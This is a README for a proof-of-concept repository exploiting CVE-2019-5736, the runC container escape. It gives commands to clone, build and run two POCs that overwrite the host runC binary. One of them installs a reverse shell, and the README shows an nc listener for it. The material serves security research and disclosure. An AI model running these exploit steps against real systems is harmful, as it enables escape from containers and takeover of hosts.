<h2 align="center">RunC-CVE-2019-5736</h2>
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---
**Video**: https://bit.ly/2WqvILb
**Blog Post**: <a href="https://idealhax.blogspot.com/2020/05/breaking-out-of-docker-via-runc.html">[www.idealhax.blogspot.com/2020/05/breaking-out-of-docker-via-runc.html]</a>
Here, I like to mention that the original developer of this exploit is Yuval Avrahami at Twistlock Labs.
## Running the POCs
Note that running the POCs will overwrite the runC binary on the host.
It is highly recommened that you create a copy of your runC binary (normally at /usr/sbin/runc) before running one of the POCs.
Clone the repository:
```sh
$ git clone git@github.com:BBRathnayaka/RunC-CVE-2019-5736.git
```
### Exec POC
Overwrites runc with a simple program that prints a string.
Running the exec POC:
```sh
$ docker build -t cve-2019-5736:exec_POC ./RunC-CVE-2019-5736/exec_POC
$ docker run -d --rm --name poc_ctr cve-2019-5736:exec_POC
$ docker exec poc_ctr bash
```
### Malicious Image POC
Overwrites runc with a simple reverse shell bash script that connects to localhost:2345.
Listen for the reverse shell:
```sh
$ nc -nvlp 2345
```
From a different shell, run the malicious image POC:
```sh
$ docker build -t cve-2019-5736:malicious_image_POC ./RunC-CVE-2019-5736/malicious_image_POC
$ docker run --rm cve-2019-5736:malicious_image_POC
```
#### Reference
```
See [Twistlock Labs](https://www.twistlock.com/labs-blog/breaking-docker-via-runc-explaining-cve-2019-5736/ "Explaining CVE-2019-5763") for an explanation of CVE-2019-5736 and the POCs.
The malicious image POC is heavily based on [q3k’s POC](https://github.com/q3k/cve-2019-5736-poc), so all credit goes to him.
```
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